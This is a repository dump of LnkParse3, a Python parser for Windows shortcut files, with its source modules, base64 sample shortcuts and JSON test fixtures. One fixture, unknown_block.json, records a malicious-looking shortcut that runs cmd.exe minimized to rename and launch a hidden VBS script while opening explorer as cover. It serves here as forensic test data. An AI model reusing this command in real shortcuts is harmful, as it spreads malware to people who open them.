QAxADgAOAA3ADkAMgA3ADUAMgA3AC0AMQAxADgAMAA2ADQAMwAAAAAAAAAAAAAAYAAAAAMAAKBYAAAAAAAAAGxlZWhvbG0xNgAAAAAAAACamrK7tlUtSojrMurXfGdA2QcjXGkz4hG+cAAcxC30C5qasru2VS1KiOsy6td8Z0DZByNcaTPiEb5wABzELfQLAAAAAA== 2 | -------------------------------------------------------------------------------- /tests/json/sample3.json: -------------------------------------------------------------------------------- 1 | { 2 | "data": {}, 3 | "extra": { 4 | "METADATA_PROPERTIES_BLOCK": { 5 | "property_store": [ 6 | { 7 | "format_id": "9F4C2855-9F79-4B39-A8D0-E1D42DE1D5F3", 8 | "serialized_property_values": [ 9 | { 10 | "id": 9, 11 | "value": null, 12 | "value_size": 17, 13 | "value_type": "VT_BOOL" 14 | }, 15 | { 16 | "id": 18, 17 | "value": null, 18 | "value_size": 17, 19 | "value_type": "VT_UI4" 20 | }, 21 | { 22 | "id": 5, 23 | "value": "::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\\\\\?\\usb#vid_12d1&pid_107e&mi_00#6&166135c4&0&0000#{6ac27878-a6fa-4155-ba85-f98f491d4f33}\\SID-{10001,,116775714816}\\{00000015-0001-0001-0000-000000000000}", 24 | "value_size": 409, 25 | "value_type": "VT_LPWSTR" 26 | } 27 | ], 28 | "storage_size": 471, 29 | "version": "0x53505331" 30 | } 31 | ], 32 | "size": 483 33 | } 34 | }, 35 | "header": { 36 | "accessed_time": null, 37 | "creation_time": null, 38 | "file_flags": [], 39 | "file_size": 0, 40 | "guid": "00021401-0000-0000-C000-000000000046", 41 | "header_size": 76, 42 | "hotkey": "UNSET - UNSET {0x0000}", 43 | "icon_index": 0, 44 | "link_flags": [ 45 | "HasTargetIDList", 46 | "IsUnicode" 47 | ], 48 | "modified_time": null, 49 | "r_file_flags": 0, 50 | "r_hotkey": 0, 51 | "r_link_flags": 129, 52 | "reserved0": 0, 53 | "reserved1": 0, 54 | "reserved2": 0, 55 | "windowstyle": "SW_SHOWNORMAL" 56 | }, 57 | "link_info": {}, 58 | "size": 3121, 59 | "target": { 60 | "index": 78, 61 | "items": [ 62 | { 63 | "class": "Root Folder", 64 | "guid": "20D04FE0-3AEA-1069-A2D8-08002B30309D", 65 | "sort_index": "My Computer", 66 | "sort_index_value": 80 67 | }, 68 | { 69 | "class": "Volume Item", 70 | "data": null, 71 | "flags": "0xe" 72 | }, 73 | { 74 | "class": "Unknown", 75 | "size": 1400 76 | }, 77 | { 78 | "class": "Unknown", 79 | "size": 714 80 | } 81 | ], 82 | "size": 2556 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /tests/json/microsoft_example_not_all_attributes.json: -------------------------------------------------------------------------------- 1 | { 2 | "data": { 3 | "relative_path": ".\\a.txt", 4 | "working_directory": "C:\\test" 5 | }, 6 | "extra": { 7 | "DISTRIBUTED_LINK_TRACKER_BLOCK": { 8 | "birth_droid_file_identifier": "7BCD46EC-7F22-11DD-9499-00137216874A", 9 | "birth_droid_volume_identifier": "94C77840-FA47-46C7-B356-5C2DC6B6D115", 10 | "droid_file_identifier": "7BCD46EC-7F22-11DD-9499-00137216874A", 11 | "droid_volume_identifier": "94C77840-FA47-46C7-B356-5C2DC6B6D115", 12 | "length": 88, 13 | "machine_identifier": "chris-xps", 14 | "size": 96, 15 | "version": 0 16 | } 17 | }, 18 | "header": { 19 | "accessed_time": "2008-09-12T20:27:17+00:00", 20 | "creation_time": "2008-09-12T20:27:17+00:00", 21 | "file_flags": [ 22 | "FILE_ATTRIBUTE_ARCHIVE" 23 | ], 24 | "file_size": 0, 25 | "guid": "00021401-0000-0000-C000-000000000046", 26 | "hotkey": "UNSET - UNSET {0x0000}", 27 | "icon_index": 0, 28 | "link_flags": [ 29 | "HasTargetIDList", 30 | "HasLinkInfo", 31 | "HasRelativePath", 32 | "HasWorkingDir", 33 | "IsUnicode", 34 | "EnableTargetMetadata" 35 | ], 36 | "modified_time": "2008-09-12T20:27:17+00:00", 37 | "r_file_flags": 32, 38 | "r_hotkey": 0, 39 | "r_link_flags": 524443, 40 | "windowstyle": "SW_SHOWNORMAL" 41 | }, 42 | "link_info": { 43 | "common_path_suffix": "", 44 | "link_info_flags": 1, 45 | "local_base_path": "C:\\test\\a.txt", 46 | "location": "Local", 47 | "location_info": { 48 | "drive_serial_number": "0x307a8a81", 49 | "drive_type": "DRIVE_FIXED", 50 | "r_drive_type": 3, 51 | "volume_label": "" 52 | } 53 | }, 54 | "size": 459, 55 | "target": { 56 | "items": [ 57 | { 58 | "class": "Root Folder", 59 | "guid": "20D04FE0-3AEA-1069-A2D8-08002B30309D", 60 | "sort_index": "My Computer", 61 | "sort_index_value": 80 62 | }, 63 | { 64 | "class": "Volume Item", 65 | "data": "C:\\", 66 | "flags": "0xf" 67 | }, 68 | { 69 | "class": "File entry", 70 | "file_attribute_flags": 16, 71 | "file_size": 0, 72 | "flags": "Is directory", 73 | "primary_name": "test" 74 | }, 75 | { 76 | "class": "File entry", 77 | "file_attribute_flags": 32, 78 | "file_size": 0, 79 | "flags": "Is file", 80 | "primary_name": "a.txt" 81 | } 82 | ] 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /LnkParse3/text_processor.py: -------------------------------------------------------------------------------- 1 | """ 2 | Structures of the Shell Link Binary File Format can define strings in 3 | fixed-length fields, strings MUST be null-terminated. If a string is smaller 4 | than the size of the field that contains it, the bytes in the field following 5 | the terminating null character are undefined and can have any value. The 6 | undefined bytes MUST NOT be used. 7 | """ 8 | 9 | import warnings 10 | 11 | 12 | class TextProcessor: 13 | def __init__(self, cp=None): 14 | self.cp = cp if cp else "cp1252" 15 | 16 | def read_strings(self, binary): 17 | chars = [] 18 | 19 | def _chars_to_string(lst): 20 | bin_string = b"".join(lst) 21 | try: 22 | string = bin_string.decode(self.cp) 23 | except UnicodeDecodeError: 24 | # Fallback to UTF-8 before giving up. 25 | try: 26 | string = bin_string.decode("utf-8") 27 | except UnicodeDecodeError as e: 28 | string = bin_string.decode(self.cp, errors="replace") 29 | msg = f"Error while decoding string `{string}` ({e})" 30 | warnings.warn(msg) 31 | yield string 32 | 33 | for char in binary: 34 | if char == 0x00: 35 | yield from _chars_to_string(chars) 36 | chars = [] 37 | else: 38 | chars.append(bytes([char])) 39 | 40 | yield from _chars_to_string(chars) 41 | 42 | def read_string(self, binary): 43 | it = self.read_strings(binary) 44 | return next(it) 45 | 46 | def read_unicode_strings(self, binary): 47 | chars = [] 48 | 49 | def _chars_to_string(lst): 50 | bin_string = b"".join(lst) 51 | try: 52 | string = bin_string.decode("utf-16le") 53 | except UnicodeDecodeError as e: 54 | string = bin_string.decode("utf-16le", errors="replace") 55 | msg = f"Error while decoding string `{string}` ({e})" 56 | warnings.warn(msg) 57 | yield string 58 | 59 | for char in self._2bytes_each(binary): 60 | if char == b"\x00\x00": 61 | yield from _chars_to_string(chars) 62 | chars = [] 63 | else: 64 | chars.append(char) 65 | 66 | yield from _chars_to_string(chars) 67 | 68 | def read_unicode_string(self, binary): 69 | it = self.read_unicode_strings(binary) 70 | return next(it) 71 | 72 | @staticmethod 73 | def _2bytes_each(binary): 74 | it = iter(binary) 75 | while True: 76 | tmp = None 77 | try: 78 | tmp = bytes([next(it)]) 79 | tmp += bytes([next(it)]) 80 | yield tmp 81 | except StopIteration: 82 | if tmp: 83 | yield tmp 84 | return None 85 | -------------------------------------------------------------------------------- /tests/json/unknown_block.json: -------------------------------------------------------------------------------- 1 | { 2 | "data": { 3 | "command_line_arguments": "/c ren cfsdaacdfawd\\*.vbss *.vbs &start \\cfsdaacdfawd\\aiasfacoiaksf.vbs&start explorer .android_secure&exit", 4 | "icon_location": "%SystemRoot%\\System32\\shell32.dll" 5 | }, 6 | "extra": { 7 | "SPECIAL_FOLDER_LOCATION_BLOCK": { 8 | "offset": 213, 9 | "size": 16, 10 | "special_folder_id": 37 11 | }, 12 | "UNKNOWN_BLOCK": [ 13 | { 14 | "extra_data_sha256": "4f022b4bc7668d870e158010c9877224df1b9b07bd24ef32b731963232b15eb2", 15 | "size": 28 16 | }, 17 | { 18 | "extra_data_sha256": "40ebe6ee6ad3303ae2db241742e857aee523b21553a51e2f6c2a2461f1010879", 19 | "size": 153 20 | } 21 | ] 22 | }, 23 | "header": { 24 | "accessed_time": null, 25 | "creation_time": null, 26 | "file_flags": [], 27 | "file_size": 0, 28 | "guid": "00021401-0000-0000-C000-000000000046", 29 | "header_size": 76, 30 | "hotkey": "UNSET - UNSET {0x0000}", 31 | "icon_index": 3, 32 | "link_flags": [ 33 | "HasTargetIDList", 34 | "HasArguments", 35 | "HasIconLocation", 36 | "IsUnicode" 37 | ], 38 | "modified_time": null, 39 | "r_file_flags": 0, 40 | "r_hotkey": 0, 41 | "r_link_flags": 225, 42 | "reserved0": 0, 43 | "reserved1": 0, 44 | "reserved2": 0, 45 | "windowstyle": "SW_SHOWMINNOACTIVE" 46 | }, 47 | "link_info": {}, 48 | "size": 860, 49 | "target": { 50 | "index": 78, 51 | "items": [ 52 | { 53 | "class": "Root Folder", 54 | "guid": "20D04FE0-3AEA-1069-A2D8-08002B30309D", 55 | "sort_index": "My Computer", 56 | "sort_index_value": 80 57 | }, 58 | { 59 | "class": "Volume Item", 60 | "data": "C:\\", 61 | "flags": "0xf" 62 | }, 63 | { 64 | "class": "File entry", 65 | "file_attribute_flags": 16, 66 | "file_size": 0, 67 | "flags": "Is directory", 68 | "modification_time": null, 69 | "primary_name": "Windows" 70 | }, 71 | { 72 | "class": "File entry", 73 | "file_attribute_flags": 16, 74 | "file_size": 0, 75 | "flags": "Is directory", 76 | "modification_time": null, 77 | "primary_name": "system32" 78 | }, 79 | { 80 | "class": "File entry", 81 | "file_attribute_flags": 0, 82 | "file_size": 0, 83 | "flags": "Is file", 84 | "modification_time": null, 85 | "primary_name": "cmd.exe" 86 | } 87 | ], 88 | "size": 297 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /LnkParse3/target/lnk_target_base.py: -------------------------------------------------------------------------------- 1 | import warnings 2 | from struct import unpack 3 | 4 | from LnkParse3.text_processor import TextProcessor 5 | 6 | 7 | """ 8 | An ItemID is an element in an IDList structure (section 2.2.1). The data stored 9 | in a given ItemID is defined by the source that corresponds to the location in 10 | the target namespace of the preceding ItemIDs. This data uniquely identifies 11 | the items in that part of the namespace. 12 | 13 | ------------------------------------------------------------------ 14 | | 0-7b | 8-15b | 16-23b | 24-31b | 15 | ------------------------------------------------------------------ 16 | | ItemIDSize | Data (variable) | 17 | ------------------------------------------------------------------ 18 | | ... | 19 | ------------------------------------------------------------------ 20 | """ 21 | 22 | 23 | class LnkTargetBase: 24 | SHELL_ITEM_SHEL_FS_FOLDER = { 25 | # FIXME: Temporary solution for not make a breaking change 26 | 0x05: "Is Unicode directory", 27 | 0x06: "Is Unicode file", 28 | 0x07: "Is Unicode share", 29 | 0x03: "Is share", 30 | 0x01: "Is directory", 31 | 0x02: "Is file", 32 | 0x04: "Has Unicode strings", 33 | 0x80: "Has CLSID", 34 | } 35 | 36 | SIZE_OF_TARGET_SIZE = 2 37 | 38 | def __init__(self, indata=None, cp=None): 39 | self._target = {} 40 | self.cp = cp 41 | self._raw = indata 42 | 43 | self.text_processor = TextProcessor(cp=self.cp) 44 | 45 | start = self.SIZE_OF_TARGET_SIZE 46 | end = start + self.size() 47 | self._raw_target = self._raw[start:end] 48 | 49 | def get_item_shell_fs_folder(self, flags: int) -> str: 50 | # FIXME: Can have many flags at once 51 | for flag, name in self.SHELL_ITEM_SHEL_FS_FOLDER.items(): 52 | if flags & flag == flag: 53 | return name 54 | msg = ( 55 | f"Not implemented flags 0x{flags:02X} " 56 | "in LnkTargetBase.SHELL_ITEM_SHELL_FS_FOLDER. " 57 | 'Use fallback value: "Unknown".' 58 | ) 59 | warnings.warn(msg) 60 | return "Unknown" 61 | 62 | def as_item(self): 63 | return { 64 | "class": self.name, 65 | } 66 | 67 | def size(self): 68 | """ItemIDSize (2 bytes): 69 | A 16-bit, unsigned integer that specifies the size, in bytes, of the 70 | ItemID structure, including the ItemIDSize field. 71 | """ 72 | start, end = 0, 2 73 | size = unpack(" ShellFolderID | 15 | | 16 B | 16 | ---------------------------------------------------------------------- 17 | | ExtensionBlock | 18 | | ? B | 19 | ---------------------------------------------------------------------- 20 | """ 21 | 22 | 23 | class RootFolder(LnkTargetBase): 24 | # https://github.com/libyal/libfwsi/blob/master/documentation/Windows%20Shell%20Item%20format.asciidoc#321-sort-index 25 | SORT_INDEX = { 26 | 0x00: "Internet Explorer", 27 | 0x42: "Libraries", 28 | 0x44: "Users", 29 | 0x4C: "Public Folder", # https://strontic.github.io/xcyclopedia/library/clsid_4336a54d-038b-4685-ab02-99bb52d3fb8b.html 30 | 0x48: "My Documents", 31 | 0x50: "My Computer", 32 | 0x54: "UsersLibraries", # https://strontic.github.io/xcyclopedia/library/clsid_031E4825-7B94-4dc3-B131-E946B44C8DD5.html 33 | 0x58: "My Networs Places/Network", 34 | 0x60: "Recycle Bin", 35 | 0x68: "Internet Explorer", 36 | # 0x70: "Unknown", # Seems to be a Control Panel 37 | 0x78: "Recycle Bin", # https://strontic.github.io/xcyclopedia/library/clsid_645FF040-5081-101B-9F08-00AA002F954E.html 38 | 0x80: "My Games", 39 | } 40 | 41 | @classmethod 42 | def get_sort_index(cls, sort_index_value): 43 | if sort_index_value not in cls.SORT_INDEX: 44 | msg = ( 45 | f"Not implemented sort_index_value {sort_index_value:02X} " 46 | "in RootFolder.SORT_INDEX. " 47 | 'Use fallback value: "Unknown".' 48 | ) 49 | warnings.warn(msg) 50 | return "Unknown" 51 | return cls.SORT_INDEX[sort_index_value] 52 | 53 | def __init__(self, *args, **kwargs): 54 | self.name = "Root Folder" 55 | super().__init__(*args, **kwargs) 56 | 57 | def as_item(self): 58 | item = super().as_item() 59 | item["sort_index"] = self.sort_index() 60 | item["sort_index_value"] = self.sort_index_value() 61 | item["guid"] = self.guid() 62 | return item 63 | 64 | def sort_index_value(self): 65 | start, end = 1, 2 66 | return unpack(" 20: 79 | # TODO: Extension block 80 | return 81 | return 82 | -------------------------------------------------------------------------------- /LnkParse3/target_factory.py: -------------------------------------------------------------------------------- 1 | import warnings 2 | from struct import unpack 3 | 4 | from LnkParse3.target.common_places_folder import CommonPlacesFolder 5 | from LnkParse3.target.compressed_folder import CompressedFolder 6 | from LnkParse3.target.control_panel import ControlPanel 7 | from LnkParse3.target.internet import Internet 8 | from LnkParse3.target.my_computer import MyComputer 9 | from LnkParse3.target.network_location import NetworkLocation 10 | from LnkParse3.target.printers import Printers 11 | from LnkParse3.target.root_folder import RootFolder 12 | from LnkParse3.target.shell_fs_folder import ShellFSFolder 13 | from LnkParse3.target.unknown import Unknown 14 | from LnkParse3.target.users_files_folder import UsersFilesFolder 15 | 16 | 17 | class TargetFactory: 18 | # https://github.com/libyal/libfwsi/blob/master/documentation/Windows%20Shell%20Item%20format.asciidoc#3-type-indicator-based-shell-items 19 | SHELL_ITEM_CLASSES = { 20 | 0x1E: RootFolder, 21 | 0x1F: RootFolder, 22 | 0x20: MyComputer, 23 | 0x30: ShellFSFolder, 24 | 0x40: NetworkLocation, 25 | 0x52: CompressedFolder, 26 | 0x61: Internet, 27 | 0x70: ControlPanel, 28 | 0x71: ControlPanel, 29 | 0x72: Printers, 30 | 0x73: CommonPlacesFolder, 31 | 0x74: UsersFilesFolder, 32 | } 33 | 34 | @classmethod 35 | def get_shell_item_classes(cls, item_type): 36 | if item_type not in cls.SHELL_ITEM_CLASSES: 37 | msg = ( 38 | f"Not implemented item_type 0x{item_type:02X} " 39 | "in TargetFactory.SHELL_ITEM_CLASSES. " 40 | f"Use fallback value: {Unknown!r}." 41 | ) 42 | warnings.warn(msg) 43 | return Unknown 44 | return cls.SHELL_ITEM_CLASSES[item_type] 45 | 46 | def __init__(self, indata): 47 | self._target = {} 48 | self._raw = indata 49 | 50 | def item_size(self): 51 | """ItemIDSize (2 bytes): 52 | A 16-bit, unsigned integer that specifies the size, in bytes, of the 53 | ItemID structure, including the ItemIDSize field. 54 | """ 55 | start, end = 0, 2 56 | size = unpack(" VolumeIDSize | 11 | ------------------------------------------------------------------ 12 | | DriveType | 13 | ------------------------------------------------------------------ 14 | | DriveSerialNumber | 15 | ------------------------------------------------------------------ 16 | | VolumeLabelOffset | 17 | ------------------------------------------------------------------ 18 | | VolumeLabelOffsetUnicode (optional) | 19 | ------------------------------------------------------------------ 20 | | Data | 21 | | ? B | 22 | ------------------------------------------------------------------ 23 | """ 24 | 25 | 26 | class Local(LnkInfo): 27 | DRIVE_TYPES = [ 28 | "DRIVE_UNKNOWN", 29 | "DRIVE_NO_ROOT_DIR", 30 | "DRIVE_REMOVABLE", 31 | "DRIVE_FIXED", 32 | "DRIVE_REMOTE", 33 | "DRIVE_CDROM", 34 | "DRIVE_RAMDISK", 35 | ] 36 | 37 | def location(self): 38 | return "Local" 39 | 40 | def volume_id_size(self): 41 | start = self.volume_id_offset() 42 | end = start + 4 43 | return unpack(" 260 else char_count 85 | 86 | if self._lnk_file.is_unicode(): 87 | self._read = self.text_processor.read_unicode_string 88 | length *= 2 # UTF-16 89 | else: 90 | self._read = self.text_processor.read_string 91 | 92 | text = self._read(binary[offset : offset + length]) 93 | return text, offset + length 94 | 95 | def as_dict(self): 96 | return {k: v for k, v in self._data.items() if v is not None} 97 | -------------------------------------------------------------------------------- /tests/json/microsoft_example.json: -------------------------------------------------------------------------------- 1 | { 2 | "data": { 3 | "relative_path": ".\\a.txt", 4 | "working_directory": "C:\\test" 5 | }, 6 | "extra": { 7 | "DISTRIBUTED_LINK_TRACKER_BLOCK": { 8 | "birth_droid_file_identifier": "7BCD46EC-7F22-11DD-9499-00137216874A", 9 | "birth_droid_volume_identifier": "94C77840-FA47-46C7-B356-5C2DC6B6D115", 10 | "droid_file_identifier": "7BCD46EC-7F22-11DD-9499-00137216874A", 11 | "droid_volume_identifier": "94C77840-FA47-46C7-B356-5C2DC6B6D115", 12 | "length": 88, 13 | "machine_identifier": "chris-xps", 14 | "size": 96, 15 | "version": 0 16 | } 17 | }, 18 | "header": { 19 | "accessed_time": "2008-09-12T20:27:17+00:00", 20 | "creation_time": "2008-09-12T20:27:17+00:00", 21 | "file_flags": [ 22 | "FILE_ATTRIBUTE_ARCHIVE" 23 | ], 24 | "file_size": 0, 25 | "guid": "00021401-0000-0000-C000-000000000046", 26 | "header_size": 76, 27 | "hotkey": "UNSET - UNSET {0x0000}", 28 | "icon_index": 0, 29 | "link_flags": [ 30 | "HasTargetIDList", 31 | "HasLinkInfo", 32 | "HasRelativePath", 33 | "HasWorkingDir", 34 | "IsUnicode", 35 | "EnableTargetMetadata" 36 | ], 37 | "modified_time": "2008-09-12T20:27:17+00:00", 38 | "r_file_flags": 32, 39 | "r_hotkey": 0, 40 | "r_link_flags": 524443, 41 | "reserved0": 0, 42 | "reserved1": 0, 43 | "reserved2": 0, 44 | "windowstyle": "SW_SHOWNORMAL" 45 | }, 46 | "link_info": { 47 | "common_network_relative_link_offset": 0, 48 | "common_path_suffix": "", 49 | "common_path_suffix_offset": 59, 50 | "link_info_flags": 1, 51 | "link_info_header_size": 28, 52 | "link_info_size": 60, 53 | "local_base_path": "C:\\test\\a.txt", 54 | "local_base_path_offset": 45, 55 | "location": "Local", 56 | "location_info": { 57 | "drive_serial_number": "0x307a8a81", 58 | "drive_type": "DRIVE_FIXED", 59 | "r_drive_type": 3, 60 | "volume_id_size": 17, 61 | "volume_label": "", 62 | "volume_label_offset": 16 63 | }, 64 | "volume_id_offset": 28 65 | }, 66 | "size": 459, 67 | "target": { 68 | "index": 78, 69 | "items": [ 70 | { 71 | "class": "Root Folder", 72 | "guid": "20D04FE0-3AEA-1069-A2D8-08002B30309D", 73 | "sort_index": "My Computer", 74 | "sort_index_value": 80 75 | }, 76 | { 77 | "class": "Volume Item", 78 | "data": "C:\\", 79 | "flags": "0xf" 80 | }, 81 | { 82 | "class": "File entry", 83 | "file_attribute_flags": 16, 84 | "file_size": 0, 85 | "flags": "Is directory", 86 | "modification_time": "2008-09-12T20:27:18+00:00", 87 | "primary_name": "test" 88 | }, 89 | { 90 | "class": "File entry", 91 | "file_attribute_flags": 32, 92 | "file_size": 0, 93 | "flags": "Is file", 94 | "modification_time": "2008-09-12T20:27:18+00:00", 95 | "primary_name": "a.txt" 96 | } 97 | ], 98 | "size": 189 99 | } 100 | } 101 | -------------------------------------------------------------------------------- /LnkParse3/target/shell_fs_folder.py: -------------------------------------------------------------------------------- 1 | from struct import unpack 2 | 3 | from LnkParse3.decorators import dostime 4 | from LnkParse3.target.lnk_target_base import LnkTargetBase 5 | 6 | 7 | """ 8 | ---------------------------------------------------------------------- 9 | | 0-7b | 8-15b | 10 | ---------------------------------------------------------------------- 11 | | ClassTypeIndicator == 0x30-0x3F| UnknownValue | 12 | ---------------------------------------------------------------------- 13 | | FileSize | 14 | | 4 B | 15 | ---------------------------------------------------------------------- 16 | | LastModificationDateAndTime | 17 | | 4 B | 18 | ---------------------------------------------------------------------- 19 | | FileAttributeFlags | 20 | ---------------------------------------------------------------------- 21 | | PrimaryName | 22 | | ? B | 23 | ---------------------------------------------------------------------- 24 | | UnknownData | 25 | | ? B | 26 | ---------------------------------------------------------------------- 27 | """ 28 | 29 | 30 | # TODO: rename to file_entry 31 | # https://github.com/libyal/libfwsi/blob/master/documentation/Windows%20Shell%20Item%20format.asciidoc#34-file-entry-shell-item 32 | class ShellFSFolder(LnkTargetBase): 33 | def __init__(self, *args, **kwargs): 34 | self.name = "File entry" 35 | super().__init__(*args, **kwargs) 36 | 37 | def as_item(self): 38 | item = super().as_item() 39 | item["flags"] = self.flags() 40 | item["file_size"] = self.file_size() 41 | item["modification_time"] = self.modification_time() 42 | item["file_attribute_flags"] = self.file_attribute_flags() 43 | item["primary_name"] = self.primary_name() 44 | return item 45 | 46 | # dup: ./my_computer.py flags() 47 | # dup: ../target_factory.py item_type() 48 | def flags(self): 49 | flags = self.class_type_indicator() 50 | 51 | # FIXME: delete masking 52 | return self.get_item_shell_fs_folder(flags & 0x0F) 53 | 54 | def file_size(self): 55 | start, end = 2, 6 56 | size = unpack(" Location | 15 | | ? B | 16 | ---------------------------------------------------------------------- 17 | | Description | 18 | | ? B | 19 | ---------------------------------------------------------------------- 20 | | Comments | 21 | | ? B | 22 | ---------------------------------------------------------------------- 23 | | Unknown | 24 | | ? B | 25 | ---------------------------------------------------------------------- 26 | """ 27 | 28 | 29 | # https://github.com/libyal/libfwsi/blob/master/documentation/Windows%20Shell%20Item%20format.asciidoc#35-network-location-shell-item 30 | class NetworkLocation(LnkTargetBase): 31 | def __init__(self, *args, **kwargs): 32 | self.name = "Network location" 33 | super().__init__(*args, **kwargs) 34 | 35 | it = self._string_data() 36 | self._location = next(it) 37 | 38 | self._description = None 39 | if self._has_description(): 40 | self._description = next(it) 41 | 42 | self._comments = None 43 | if self._has_comments(): 44 | self._comments = next(it) 45 | 46 | def as_item(self): 47 | item = super().as_item() 48 | item["flags"] = self.flags() 49 | item["content_flags"] = self.content_flags() 50 | item["location"] = self.location() 51 | item["description"] = self.description() 52 | item["comments"] = self.comments() 53 | return item 54 | 55 | # TODO: rename to class_type_indicator 56 | def flags(self): 57 | start, end = 0, 1 58 | flags = unpack("tW{~$4Q]c@II=l2xaTO5Z", 11 | "darwin_data_unicode": "w_1^VX!!!!!!!!!MKKSkEXCELFiles>tW{~$4Q]c@II=l2xaTO5Z", 12 | "feature_name": "EXCELFiles", 13 | "product_code_id": "91120000-0030-0000-0000-0000000FF1CE", 14 | "size": 788 15 | }, 16 | "ICON_LOCATION_BLOCK": { 17 | "size": 788, 18 | "target_ansi": "%SystemRoot%\\Installer\\{DB8757A3-1B62-4136-8D95-D2CB9F00E36C}\\test_icon.ico", 19 | "target_unicode": "%SystemRoot%\\Installer\\{DB8757A3-1B62-4136-8D95-D2CB9F00E36C}\\test_icon.ico" 20 | } 21 | }, 22 | "header": { 23 | "accessed_time": null, 24 | "creation_time": null, 25 | "file_flags": [], 26 | "file_size": 0, 27 | "guid": "00021401-0000-0000-C000-000000000046", 28 | "header_size": 76, 29 | "hotkey": "UNSET - UNSET {0x0000}", 30 | "icon_index": 0, 31 | "link_flags": [ 32 | "HasTargetIDList", 33 | "HasName", 34 | "HasRelativePath", 35 | "HasIconLocation", 36 | "IsUnicode", 37 | "HasDarwinID", 38 | "HasExpIcon" 39 | ], 40 | "modified_time": null, 41 | "r_file_flags": 0, 42 | "r_hotkey": 0, 43 | "r_link_flags": 20685, 44 | "reserved0": 0, 45 | "reserved1": 0, 46 | "reserved2": 0, 47 | "windowstyle": "SW_SHOWNORMAL" 48 | }, 49 | "link_info": {}, 50 | "size": 2541, 51 | "target": { 52 | "index": 78, 53 | "items": [ 54 | { 55 | "class": "Root Folder", 56 | "guid": "20D04FE0-3AEA-1069-A2D8-08002B30309D", 57 | "sort_index": "My Computer", 58 | "sort_index_value": 80 59 | }, 60 | { 61 | "class": "Volume Item", 62 | "data": "C:\\", 63 | "flags": "0xf" 64 | }, 65 | { 66 | "class": "File entry", 67 | "file_attribute_flags": 16, 68 | "file_size": 0, 69 | "flags": "Is directory", 70 | "modification_time": "2021-03-10T02:44:20+00:00", 71 | "primary_name": "Windows" 72 | }, 73 | { 74 | "class": "File entry", 75 | "file_attribute_flags": 22, 76 | "file_size": 0, 77 | "flags": "Is directory", 78 | "modification_time": "2021-03-13T17:02:52+00:00", 79 | "primary_name": "Installer" 80 | }, 81 | { 82 | "class": "File entry", 83 | "file_attribute_flags": 16, 84 | "file_size": 0, 85 | "flags": "Is directory", 86 | "modification_time": "2021-03-13T17:02:52+00:00", 87 | "primary_name": "{DB8757A3-1B62-4136-8D95-D2CB9F00E36C}" 88 | }, 89 | { 90 | "class": "File entry", 91 | "file_attribute_flags": 33, 92 | "file_size": 15406, 93 | "flags": "Is file", 94 | "modification_time": "2021-03-13T17:02:52+00:00", 95 | "primary_name": "test_icon.ico" 96 | } 97 | ], 98 | "size": 509 99 | } 100 | } 101 | -------------------------------------------------------------------------------- /tests/samples/sample3: -------------------------------------------------------------------------------- 1 | TAAAAAEUAgAAAAAAwAAAAAAAAEaBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAPwJFAAfUOBP0CDqOmkQotgIACswMJ2oAS4AggEGIDEIAwAAAAAAAAADAAAAhAAAAAEAAAAUAAAAWQAAAAAAUwBjAGgAYQBtAGEAbgBhAG0AYQBrAGkAegBoAGEAbQBhAG4AdQAAAFwAXAA/AFwAdQBzAGIAIwB2AGkAZABfADEAMgBkADEAJgBwAGkAZABfADEAMAA3AGUAJgBtAGkAXwAwADAAIwA2ACYAMQA2ADYAMQAzADUAYwA0ACYAMAAmADAAMAAwADAAIwB7ADYAYQBjADIANwA4ADcAOAAtAGEANgBmAGEALQA0ADEANQA1AC0AYgBhADgANQAtAGYAOQA4AGYANAA5ADEAZAA0AGYAMwAzAH0AAAANAAAAA9UVDBfQzkeQFns/l4chzAIAAACal9QmQ+YmRp4rc23AyS/cDAAAAB8AAAAoAAAAUwBjAGgAYQBtAGEAbgBhAG0AYQBrAGkAegBoAGEAbQBhAG4AdQAAAJMtBY/Kq8VPpaywHfTb5ZgCAAAASAAAAGtG6gik4zZDofOkTStcQ4wAAHQaWV6W39NIjWcXM7zuKLo8bXg1dbC5SYjdAph24RwBdgUAAHAFBSAxEAMAAAC6ACAAAABgMBsAAAAAAAAAAAAAAJwCAAARAAAAGgAAABUAAAAHAAAASQBuAHQAZQByAG4AYQBsACAAcwB0AG8AcgBhAGcAZQAAAFMASQBEAC0AewAxADAAMAAwADEALAAsADEAMQA2ADcANwA1ADcAMQA0ADgAMQA2AH0AAABHAGUAbgBlAHIAaQBjACAAaABpAGUAcgBhAHIAYwBoAGkAYwBhAGwAAAB7AEUARgAyADEAMAA3AEQANQAtAEEANQAyAEEALQA0ADIANAAzAC0AQQAyADYAQgAtADYAMgBEADQAMQA3ADYARAA3ADYAMAAzAH0AAAB7ADQAQQBEADIAQwA4ADUARQAtADUARQAyAEQALQA0ADUARQA1AC0AOAA4ADYANAAtADQARgAyADIAOQBFADMAQwA2AEMARgAwAH0AAAB7ADEAQQAzADMARgA3AEUANAAtAEEARgAxADMALQA0ADgARgA1AC0AOQA5ADQARQAtADcANwAzADYAOQBEAEYARQAwADQAQQAzAH0AAAB7ADkAMgA2ADEAQgAwADMAQwAtADMARAA3ADgALQA0ADUAMQA5AC0AOAA1AEUAMwAtADAAMgBDADUARQAxAEYANQAwAEIAQgA5AH0AAAB7ADYAOAAwAEEARABGADUAMgAtADkANQAwAEEALQA0ADAANAAxAC0AOQBCADQAMQAtADYANQBFADMAOQAzADYANAA4ADEANQA1AH0AAAB7ADIAOABEADgARAAzADEARQAtADIANAA5AEMALQA0ADUANABFAC0AQQBBAEIAQwAtADMANAA4ADgAMwAxADYAOABFADYAMwA0AH0AAAB7ADIANwBFADIARQAzADkAMgAtAEEAMQAxADEALQA0ADgARQAwAC0AQQBCADAAQwAtAEUAMQA3ADcAMAA1AEEAMAA1AEYAOAA1AH0AAAANAAAAA9UVDBfQzkeQFns/l4chzA8AAAB6BaMB1nSATr6n3EwhLOUKAgAAABMAAAADAAAAegWjAdZ0gE6+p9xMISzlCgMAAAAfAAAAKgAAAEcAZQBuAGUAcgBpAGMAIABoAGkAZQByAGEAcgBjAGgAaQBjAGEAbAAAAHoFowHWdIBOvqfcTCEs5QoLAAAAEwAAAAAAAAB6BaMB1nSATr6n3EwhLOUKBAAAABUAAAAAAGAwGwAAAHoFowHWdIBOvqfcTCEs5QoFAAAAFQAAAACgQ2MFAAAA